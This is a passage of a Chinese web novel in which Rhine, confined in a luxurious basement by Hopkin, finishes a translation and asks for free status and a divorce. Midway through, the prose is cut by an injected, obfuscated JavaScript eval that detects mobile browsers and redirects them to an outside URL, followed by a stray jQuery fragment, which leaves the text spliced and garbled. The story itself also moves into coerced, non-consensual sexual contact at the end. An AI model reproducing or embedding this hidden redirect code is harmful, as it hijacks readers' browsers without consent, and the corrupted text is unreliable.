很快,视线也逐渐模糊。
「完了,是创伤应激反应。」
——绞刑的痛苦,依旧藏在心底最深处。
莱茵虽然作出了清醒的自我判断,但无法自救。
迷离中,有人用嘴堵上他的嘴唇,一只手用力捏着下巴,逼迫他彻底张开。
莱茵抓到了支点,任凭源源不断的空气汇入口中。
他还想要更多,热情的吻却停止了。
“你赢了。”冷冰冰的声音响起。
莱茵喘着气睁开眼,只看到霍普金离开的背影。
一瞬间,他明白了。
他和霍普金之间,自始至终都隔着无法僭越的鸿沟。
盲目忽视只会加深血淋淋的事实。
*
莱茵被囚禁了,至少他是这样认为的。
虽然房间宽敞到不像囚室,三餐也从未缺过,桌上常摆着热茶和刚出炉的黄油面包,还有琳琅满目的果盘。
他要求的参考书籍,乃至堆满一桌的翻译资料,也都被一一搬来——除了无法踏出豪华的地下室一步。
唯一的好处是,他的生活都被迫变得规律。
早起用餐后直接进入工作,莱茵几乎把所有时间都用来编写自由港本地药草指南。接着又开始翻译《梅尔塞的五日航行》的剩余部分。
只有在工作中,他才能保证情绪和心态稳定。
在2周后的某一天,地下囚室的门被推开,“哐”地一声响,只见霍普金整个身体撞在门上。
——这是从那天后,他第一次出现在这里。
莱茵握着笔放了下来,他长呼一口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16613716|187654||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
气,像是做足了准备:
“我已经基本完成了《梅尔塞的五日航行》的翻译工作,你可以拿去找人校对语法部分。”
莱茵刻意淡化了工作量。
不仅是翻译,他还为书籍增加了30篇素描插图,修订了几十处错误。
霍普金摇晃着身体,走到书桌旁,拿起那些用红色钢笔改了又改的稿纸,突然眼里多了几分复杂情绪。
“我没看错你,工作完成得很好。”
很奇怪。
莱茵之前也听他说过出类似的夸赞,但此情此景之下,却拉满讽刺。
“当然,这是我们一开始就谈好的合作。”
“所以呢,这就是你这两周来准备好的谈判筹码?”霍普金抵在书桌前,弓着腰凑到莱茵面前,“你想要什么?”
“自由民的身份。”莱茵想了想,把需求解构得更加明确,“而且我要离婚。”
“离婚?”这两个词尤其地滚烫。
霍普金拉过莱茵的下巴送到自己嘴边,不留一点思考时间,重重地吻了上去。几乎是同时,他将莱茵从对面抱到书桌上,又拖到墙边。
两个人的力量悬殊,在此刻表现得淋漓极致。莱茵背对着趴在墙面上,双腿被强行打开,一只炽热的腿抵在他双腿之间。